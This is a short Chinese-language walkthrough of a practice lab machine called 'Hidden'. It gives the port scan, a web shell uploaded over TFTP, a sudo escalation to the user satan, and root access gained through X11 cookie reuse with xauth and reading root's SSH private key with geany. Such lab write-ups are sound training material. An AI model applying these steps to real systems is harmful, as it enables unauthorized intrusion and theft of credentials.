# 靶场练习

下载:Hidden

Nat,IP: 192.168.1.143

# 渗透过程

# 信息初收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)

再扫一下 UDP 端口发现开了 tftp

┌──(root㉿kali)-[~]
└─# tftp 192.168.1.143 69  
tftp> put shell.php

访问一下拿到 shell

# 提权

sudo -l 发现有个 dash 可以使用

www-data@hidden:/$ sudo -u satan /usr/bin/dash
sudo: unable to resolve host hidden: Name or service not known
$ id
uid=1000(satan) gid=1000(satan) groups=1000(satan)

拿到了 satan 的 shell

写入一个 ssh 公钥,这样可以 ssh 连上去

kali 默认 /etc/ssh/sshd_configX11Forwarding yes ,如果不是要调成 yes,不然没有办法启用这个 x11

使用 ssh -X -i id_rsa [email protected]

看一下 sudo -l 发现两个,一个是 xauth,另一个是 genay

先用 xauth 生成一个会话吧?应该可以这么称呼: sudo xauth

然后 xauth list 查看会话的信息

再然后添加到 root 权限中: sudo xauth add hidden/unix:10 MIT-MAGIC-COOKIE-1 e64dd93e3c2e7f2c4cb9ebbad32d8091

最后 sudo geany /root/.ssh/id_rsa 拿到 root 的私钥

连上去,拿到 root 权限

# 小结

X11Forwarding yes 是 SSH 服务器的配置选项之一。当设置为 yes 时,它允许通过 SSH 连接在远程机器上显示图形界面应用程序。这意味着你可以在远程服务器上运行图形应用程序,并将它们的窗口显示在本地计算机上。

这项配置对于需要在远程服务器上运行图形应用程序并在本地显示的情况非常有用,比如远程桌面、图形化的配置工具等。